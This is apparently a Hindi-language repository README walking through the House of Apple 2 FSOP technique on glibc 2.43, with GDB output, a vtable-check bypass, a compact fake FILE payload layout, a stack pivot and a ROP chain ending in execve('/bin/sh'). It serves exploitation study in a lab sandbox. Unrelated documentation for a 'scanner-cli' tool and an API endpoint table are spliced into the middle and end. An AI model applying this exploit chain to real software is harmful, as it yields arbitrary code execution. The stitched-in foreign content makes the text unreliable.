
glibc 2.43 पर House of Apple 2 FSOP तकनीक का इंटरैक्टिव GDB वॉकथ्रू, जिसमें vtable बायपास, स्टैक पिवोटिंग और ROP को कवर करने वाला पुनरुत्पादनीय सैंडबॉक्स शामिल है।
यह रिपॉज़िटरी pwn.college के File Struct Exploitation मॉड्यूल से प्रेरित एक स्व-निहित playground है। यह House of Apple 2 का कोई नया रूपांतर प्रस्तुत नहीं करता, यह केवल मेरी जिज्ञासा का उत्तर देता है कि यह तकनीक glibc के हालिया संस्करणों पर कैसे टिकती है और क्या यह एक व्यवहार्य exploitation पथ बनी हुई है। यह दस्तावेज़ एक इंटरैक्टिव GDB walkthrough प्रदान करता है जिसे पाठक sandbox के साथ-साथ follow कर सकते हैं ताकि primitive की अधिक सहज समझ विकसित कर सकें। सभी प्रयोग glibc 2.43 का उपयोग करते हैं, जैसा कि लेखन के समय Ubuntu 26.04 और Fedora 44 द्वारा packaged था।
File Stream Oriented Programming (FSOP)। यह glibc file stream structures में हेरफेर करके control flow को hijack करने के बारे में है। ऐसा करने का एक तरीका _IO_FILE_plus के vtable dispatch mechanism को corrupt करना है। आधुनिक glibc इस vtable को validate करता है, इसलिए इसे किसी मनमाने address से बदलने का स्पष्ट तरीका काम नहीं करता।
House of Apple 2, जिसे मूल रूप से Roderick ने प्रस्तुत किया था, इस प्रतिबंध को एक वैध _IO_FILE_plus vtable का उपयोग करके wide-character stream machinery तक पहुँचकर bypass करता है, जहाँ एक secondary vtable बिना range validation के सीधे dispatch होता है। यह एक arbitrary call primitive प्रदान करता है जिसे हम stack pivot और ROP chain में escalate कर सकते हैं।
यह खोज मानती है कि हम एक FILE structure को overwrite कर सकते हैं और हमारे पास heap leak और libc leak दोनों हैं। लक्ष्य binary यह पहले से प्रदान करता है।
Sandbox Ubuntu 26.04 LTS चलाता है, जो हमें इस तकनीक की खोज के लिए एक आधुनिक वातावरण देता है।
इमेज में GDB, pwndbg, pwntools, ropper और tmux शामिल हैं। इसमें एक लक्ष्य binary भी है जिसमें fopen, fread, fwrite, और fclose जैसे file stream operations को invoke करने के लिए एक इंटरैक्टिव मेनू है। यह हमें debugging और विचारों के परीक्षण के दौरान streams में हेरफेर करने का एक सुविधाजनक तरीका देता है।
Sandbox को build और run करें:``` ./build.sh ./run.sh
## अन्वेषण
आइए `_IO_FILE` और `_IO_FILE_plus` संरचनाओं का निरीक्षण करके शुरू करें:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
व्यावहारिक रूप से, _IO_FILE_plus एक _IO_FILE है जिसमें एक vtable पॉइंटर होता है। यह तुरंत दिलचस्प लगता है: यदि हम इस पॉइंटर को नियंत्रित कर सकें, तो हम एक अप्रत्यक्ष कॉल को पुनर्निर्देशित कर सकते हैं और नियंत्रण प्रवाह को हाईजैक कर सकते हैं।
vtable का निरीक्षण करने के लिए, आइए fopen द्वारा लौटाए गए एक FILE पॉइंटर की जाँच करें।```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
The pointer `_IO_file_jumps` टेबल को target करता है।

यह 21 function pointers का एक सेट है। File stream operations execution path के आधार पर अलग-अलग entries के माध्यम से dispatch होते हैं।
### `fwrite` path का अनुसरण करना
इस exploration के लिए मैं `fwrite` path पर ध्यान केंद्रित करूँगा। प्रत्येक function पर breakpoints लगाने और `fwrite` को call करने के बाद, पहला breakpoint जो हम hit करते हैं वह `_IO_file_xsputn` है।

यह call `fwrite+216` पर होता है। यह [glibc source](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) से मेल खाता है: `_IO_sputn` एक macro है जो vtable के माध्यम से dispatch होता है, और इस stream के लिए `_IO_file_xsputn` में resolve होता है।```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
पहले प्रयास के लिए, आइए vtable पॉइंटर को desired_func - 0x38 से ओवरराइट करें और fwrite+216 पर एक ब्रेकपॉइंट सेट करें।```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

ब्रेकपॉइंट तक पहुँचने से पहले ही निष्पादन रद्द हो जाता है। त्रुटि बताती है कि glibc अप्रत्यक्ष कॉल करने से पहले vtable पॉइंटर को मान्य करता है। आइए बैकट्रेस का निरीक्षण करें और देखें कि यह कहाँ होता है।
`fwrite` `_IO_vtable_check` तक पहुँचता है जो नकली vtable पॉइंटर को अस्वीकार कर रहा है।

कार्यान्वयन में विदेशी vtables को स्वीकार करने की एक व्यवस्था है, लेकिन यह हमारे नियंत्रण में नहीं है। संबंधित कोड [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) में उपलब्ध है।
### vtable सत्यापन को समझना
जब तक `_IO_vtable_check` को कॉल किया जाता है, तब तक बहुत देर हो चुकी होती है, vtable सत्यापन विफल हो चुका होता है। बैकट्रेस में पहले वाला `IO_validate_vtable` फ्रेम दिलचस्प हिस्सा है, इसलिए आइए इसके बजाय उसका निरीक्षण करें।```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
GDB IO_validate_vtable को एक प्रतीक के रूप में हल नहीं कर सकता। स्रोत को देखने पर, हम देख सकते हैं कि यह fwrite में इनलाइन किया गया है।```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
एक vtable पॉइंटर केवल तब स्वीकार किया जाता है जब वह `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` के भीतर आता है। इसलिए हम इसे सीधे कहीं भी नहीं इंगित कर सकते जहाँ हम चाहें। फिर भी, यह एक काफी बड़ा क्षेत्र है जिसमें कई जंप टेबल हैं, जो हमें खोजने के लिए कुछ देता है।
वैध रेंज इस प्रकार शुरू होती है:

## House of Apple 2
अब हम बुनियादी तंत्र और इसकी मुख्य बाधा को समझते हैं, `_IO_FILE_plus` vtable को glibc के वैध vtable क्षेत्र के भीतर कहीं इंगित करना चाहिए। यह स्पष्ट दृष्टिकोण को अवरुद्ध करता है लेकिन यह दरवाजा पूरी तरह से बंद नहीं करता है।
House of Apple 2 वाइड-कैरेक्टर स्ट्रीम मशीनरी के माध्यम से दूसरे vtable तक पहुँचकर इससे बचता है। यह दूसरा vtable उसी तरह मान्य नहीं किया जाता है। आइए GDB में उस पथ का अनुसरण करें और देखें कि टुकड़े कैसे जुड़ते हैं।
### वाइड-कैरेक्टर स्ट्रीम मशीनरी
`_IO_FILE` में वापस, एक `_wide_data` फ़ील्ड है जो एक `_IO_wide_data` संरचना की ओर इंगित करता है। इस संरचना का अपना एक vtable है।```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}
इसका लेआउट _IO_FILE से काफी मिलता-जुलता दिखता है। यह wide-character स्ट्रीम्स को संभालने के लिए glibc की मशीनरी का हिस्सा है।
हमारा इच्छित पथ _IO_wfile_overflow से होकर जाता है, जो अंततः _IO_wdoallocbuf को कॉल कर सकता है।```c
wint_t
_IO_wfile_overflow (FILE f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/ If currently reading or no buffer allocated. /
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/ Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); // <- this is it
_IO_free_wbackup_area (f);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
else
{
...
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | API token for authentication |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-error output |
| `-h` | `--help` | Show help message |
### उदाहरण
```bash
# सर्वर से सभी स्कैन परिणाम प्राप्त करें
scanner-cli results --server http://localhost:8080 --token YOUR_TOKEN
# परिणामों को JSON प्रारूप में निर्यात करें
scanner-cli results --format json --output results.json
# विस्तृत लॉगिंग सक्षम करें
scanner-cli scan --target example.com --verbose
टूल को config.yaml फ़ाइल के माध्यम से कॉन्फ़िगर किया जा सकता है:
server:
url: "http://localhost:8080"
timeout: 30
scanner:
threads: 10
timeout: 5
user_agent: "Scanner/1.0"
output:
format: "json"
verbose: false
सभी API अनुरोधों के लिए Authorization हेडर में एक वैध API टोकन की आवश्यकता होती है:
Authorization: Bearer YOUR_API_TOKEN
# एक नया स्कैन शुरू करें
curl -X POST http://localhost:8080/api/v1/scans \
-H "Authorization: Bearer YOUR_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"target": "example.com", "type": "full"}'
{
"id": "scan-12345",
"target": "example.com",
"type": "full",
"status": "running",
"created_at": "2024-01-15T10:30:00Z"
}
``````c
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
_IO_WDOALLOCATE एक और dispatch macro है, इस बार wide vtable के माध्यम से काम कर रहा है। disassembly में indirect call स्पष्ट हो जाता है:

यहाँ दिलचस्प हिस्सा है। _IO_wdoallocbuf+44 पर glibc _wide_data से _wide_vtable pointer लोड करता है। _IO_wdoallocbuf+55 पर यह _wide_vtable + 0x68 पर function pointer को call करता है। इस बार कोई range validation नहीं है।
अब टुकड़े जुड़ने शुरू होते हैं। _IO_wfile_overflow _IO_wfile_jumps से संबंधित है जो पहले vtable check द्वारा स्वीकार की गई valid range के भीतर मौजूद है। वहाँ से, execution unvalidated _wide_vtable के माध्यम से एक और indirect call तक पहुँच सकता है।
```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1
सामान्य विचार अब यह है:
1. `_IO_FILE_plus` vtable को इस प्रकार सेट करें कि संबंधित स्लॉट `_IO_wfile_overflow` पर रिज़ॉल्व हो।
2. `_wide_data` को एक नकली `_IO_wide_data` संरचना की ओर इंगित करें जिसका `_wide_vtable` `desired_function - 0x68` है।
अगला रन आज़माने से पहले, हमें `_IO_wdoallocbuf` तक पहुँचने के लिए कुछ शर्तें पूरी करनी होंगी।
`_IO_wfile_overflow` में:
- `_flags` में `_IO_NO_WRITES` (`0x0008`) नहीं होना चाहिए
- `_wide_data->_IO_write_base` `NULL` होना चाहिए
`_IO_wdoallocbuf` में:
- `fp->_wide_data->_IO_buf_base` `NULL` होना चाहिए
- `_flags` में `_IO_UNBUFFERED` (`0x0002`) नहीं होना चाहिए
एक और विवरण है। `_IO_FILE` में एक `_lock` फ़ील्ड होता है जिसे glibc स्ट्रीम लॉक प्राप्त करते और छोड़ते समय डीरेफ़रेंस करता है। हमें इसे 0x10 बाइट्स के शून्य-इनिशियलाइज़्ड रिटेबल क्षेत्र की ओर इंगित करना होगा, अन्यथा स्ट्रीम ऑपरेशन हमारी कॉल तक पहुँचने से पहले क्रैश हो जाएगा।
## नियंत्रण प्रवाह अपहरण
सब कुछ सेट है, चलिए फिर से प्रयास करते हैं। इस बार बाहरी रेंज चेक पास हो जाता है, और पहली इनडायरेक्ट कॉल `_IO_wfile_overflow` पर डिस्पैच होती है।

नकली संरचना `_IO_wfile_overflow` में शर्तों को भी पूरा करती है। निष्पादन `_IO_wdoallocbuf` में जारी रहता है। अंत में, `_IO_wdoallocbuf` में चेक पास हो जाते हैं, और `_IO_wdoallocbuf+55` पर इनडायरेक्ट कॉल हमारे `win` फ़ंक्शन में पहुँचती है।
जब हम यहाँ हैं, तो अंतिम इनडायरेक्ट कॉल से ठीक पहले रजिस्टर स्थिति को देखना उचित है।

`RDI` और `RDX` दोनों नियंत्रित `FILE` संरचना की शुरुआत की ओर इंगित करते हैं। हम सीधे पहले और तीसरे आर्ग्युमेंट रजिस्टर को नियंत्रित नहीं करते, लेकिन हम उस मेमोरी को नियंत्रित करते हैं जिसकी ओर वे इंगित करते हैं। बढ़िया!
## प्रिमिटिव का निर्माण
प्रिमिटिव [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py) में लागू किया गया है। सीधा दृष्टिकोण यह होगा कि एक पूर्ण `_IO_FILE_plus`, एक पूर्ण `_IO_wide_data` और एक अलग नकली wide vtable को एक के बाद एक रखा जाए। यह काम करेगा, लेकिन इसके लिए काफी बड़े बफ़र की आवश्यकता होगी।
हम उन्हें ओवरलैप करके पेलोड को छोटा बना सकते हैं।
नकली `_IO_wide_data` ऑफ़सेट `0x08` पर शुरू होता है, नकली `_IO_FILE_plus` के अंदर। यह काम करता है क्योंकि ओवरलैप में शामिल अधिकांश फ़ील्ड शून्य रह सकते हैं। सौभाग्य से, `_wide_data->_IO_write_base` और `_wide_data->_IO_buf_base` `FILE` संरचना में `_IO_write_base` और `_IO_buf_base` के साथ ओवरलैप करते हैं, और दोनों जोड़ों को `NULL` होना चाहिए।
लेआउट के महत्वपूर्ण भाग ये हैं:
| पेलोड ऑफ़सेट | `_IO_FILE_plus` व्याख्या | `_IO_wide_data` व्याख्या | मान |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
| `0x00` | `_flags` | - | `_IO_NO_WRITES` या `_IO_UNBUFFERED` सेट नहीं होना चाहिए |
| `0x08` | `_IO_read_ptr` | नकली `_IO_wide_data` की शुरुआत | शून्य |
| `0x20` | `_IO_write_base` | `_IO_write_base` | `NULL` |
| `0x38` | `_IO_buf_base` | `_IO_buf_base` | `NULL` |
| `0x78` | `_old_offset` | नकली wide vtable की शुरुआत | ओवरलैप्ड vtable डेटा |
| `0x88` | `_lock` | - | रिटेबल मेमोरी में शून्य मान की ओर पॉइंटर |
| `0xa0` | `_wide_data` | - | `base + 0x08` |
| `0xd8` | `_IO_FILE_plus` vtable | - | वह स्थान जो `_IO_wfile_overflow` पर डिस्पैच करता है |
| `0xe0` | - | `+0x68` पर नकली wide vtable प्रविष्टि | मनमाने फ़ंक्शन का पता |
| `0xe8` | - | `_wide_vtable` | `base + 0x78` |
अंतिम दो प्रविष्टियाँ मनमानी कॉल की कुंजी हैं। `_wide_vtable` पेलोड में ऑफ़सेट `0x78` पर वापस इंगित करता है। जब `_IO_wdoallocbuf` `_wide_vtable + 0x68` के माध्यम से डिस्पैच करता है, तो यह ऑफ़सेट `0xe0` पर संग्रहीत फ़ंक्शन पॉइंटर को पढ़ता है:```text
wide_vtable = base + 0x78
wide_vtable+0x68 = base + 0xe0
यह वह जगह है जहाँ हम उस फ़ंक्शन का पता रखते हैं जिसे हम कॉल करना चाहते हैं।
बाहरी vtable उस ऑपरेशन पर निर्भर करता है जिसका उपयोग प्रिमिटिव को ट्रिगर करने के लिए किया जाता है। fwrite के लिए, डिस्पैच +0x38 पर स्थित स्लॉट के माध्यम से होता है, इसलिए पॉइंटर को तब तक समायोजित किया जाता है जब तक कि वह स्लॉट _IO_wfile_overflow पर रिज़ॉल्व न हो जाए। यह इम्प्लीमेंटेशन संबंधित डिस्पैच ऑफ़सेट लागू करके fread और fclose का भी समर्थन करता है।
इस लेआउट के साथ, एक ही कॉम्पैक्ट बफ़र में नकली FILE संरचना, ओवरलैपिंग _IO_wide_data, नकली वाइड vtable और अंतिम फ़ंक्शन पॉइंटर शामिल होते हैं।
इस बिंदु पर हमारे पास एक आर्बिट्ररी-कॉल प्रिमिटिव है लेकिन रजिस्टरों पर हमारा नियंत्रण सीमित है। अगला कदम स्टैक को नियंत्रित मेमोरी में पिवोट करना और एक ROP चेन शुरू करना है।
__push___start_context+63 पर एक उपयोगी mov rsp, rdx; ret स्टैक पिवोट गैजेट मौजूद है।```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
0x00007f46729440d0 <+0>: endbr64
0x00007f46729440d4 <+4>: rdsspq rcx
0x00007f46729440d9 <+9>: mov rdx,rsp
0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0]
0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8]
0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8]
0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0]
0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8]
0x00007f46729440fb <+43>: saveprevssp
0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54>
0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context>
0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8]
0x00007f467294410b <+59>: saveprevssp
0x00007f467294410f <+63>: mov rsp,rdx
0x00007f4672944112 <+66>: ret
End of assembler dump.
हम पहले से जानते हैं कि मनमाने कॉल के समय `RDX` हमारे नियंत्रित `FILE` संरचना की शुरुआत की ओर इशारा करता है। यदि हम इस गैजेट को कॉल करते हैं, तो `RSP` सीधे हमारी नकली संरचना में चला जाता है और निष्पादन वहाँ संग्रहीत मानों से जारी रहता है। इससे हमें एक ROP चेन की शुरुआत मिलनी चाहिए।
## ROP
एक अड़चन यह है कि ROP चेन नकली `FILE` संरचना के साथ मेमोरी साझा करती है, इसलिए `_IO_wdoallocbuf` से फ़ील्ड प्रतिबंध अभी भी लागू होते हैं। पहला qword `_flags` के साथ ओवरलैप करता है, जिसका अर्थ है कि इसका मान `_IO_NO_WRITES` (`0x8`) या `_IO_UNBUFFERED` (`0x2`) सेट नहीं करना चाहिए। इसलिए हमारे पहले गैजेट को एक ऐसे पते की आवश्यकता है जिसके सबसे कम महत्वपूर्ण बाइट में ये बिट्स साफ़ हों।
`_nl_archive_subfreeres+96` पर स्थित `ret` गैजेट यह काम करेगा। यह वास्तव में उस सीमा पर मूल कोड में मौजूद `ret` निर्देश नहीं है, लेकिन यह उस स्थानांतरित पते पर एक वैध मध्य-निर्देश गैजेट है। इसका सबसे कम महत्वपूर्ण बाइट `0x00` है, इसलिए पते को `_flags` में रखने से `_IO_NO_WRITES` या `_IO_UNBUFFERED` सेट नहीं होते।```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret
श्रृंखला में हमारे पास दो और छेद हैं क्योंकि _IO_write_base और _IO_buf_base को NULL रहना चाहिए। हम अभी भी उन स्लॉट्स को पूर्ववर्ती pop गैजेट्स के लिए शून्य मानों के रूप में उपभोग करके उपयोगी बना सकते हैं।
अंत में, हम _lock को ओवरराइट नहीं कर सकते, जो ऑफ़सेट 0x88 पर स्थित है। इससे हमारे पास इनलाइन ROP श्रृंखला के लिए 17 qwords बचते हैं, जो प्रक्रिया का पूर्ण नियंत्रण प्राप्त करने के लिए पर्याप्त से अधिक है।
./exp/ace.py में ROP लेआउट यह है:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

अब हमने मनमाना कोड निष्पादन प्राप्त कर लिया है।
## आगे पढ़ने के लिए
- [House of Apple: एक नई glibc IO आक्रमण विधि (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), Roderick द्वारा मूल House of Apple 2 प्रकाशन।
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), जिसने आधुनिक FSOP पथों की खोज करते हुए स्वतंत्र रूप से `_IO_wdoallocbuf` पथ की पहचान की।
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), नियंत्रण-प्रवाह पथों को खोजने के लिए उपकरण-सहायित दृष्टिकोण हेतु।
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), FILE आंतरिक संरचना, ज्ञात तकनीकों और अन्य रोचक पथों की व्यापक जानकारी हेतु।
## निष्कर्ष
House of Apple 2 दर्शाता है कि कैसे एक वैध glibc vtable वाइड-कैरेक्टर मशीनरी तक पहुँच सकता है और एक अप्रमाणित द्वितीयक vtable के माध्यम से डिस्पैच कर सकता है। यही पथ सैंडबॉक्स द्वारा उपयोग किए गए glibc 2.43 बिल्ड पर भी पुनरुत्पादनीय बना हुआ है। हालाँकि लेआउट, ऑफ़सेट और गैजेट बिल्डों के बीच बदल सकते हैं, अंतर्निहित नियंत्रण-प्रवाह विचार अभी भी लागू होता है।
| विधि | एंडपॉइंट | विवरण |
|---|
GET | /api/v1/scans | सभी स्कैन की सूची बनाएं |
POST | /api/v1/scans | एक नया स्कैन शुरू करें |
GET | /api/v1/scans/{id} | किसी विशिष्ट स्कैन का विवरण प्राप्त करें |
DELETE | /api/v1/scans/{id} | किसी स्कैन को हटाएं |
GET | /api/v1/results | सभी परिणाम प्राप्त करें |
GET | /api/v1/results/{id} | किसी विशिष्ट परिणाम का विवरण प्राप्त करें |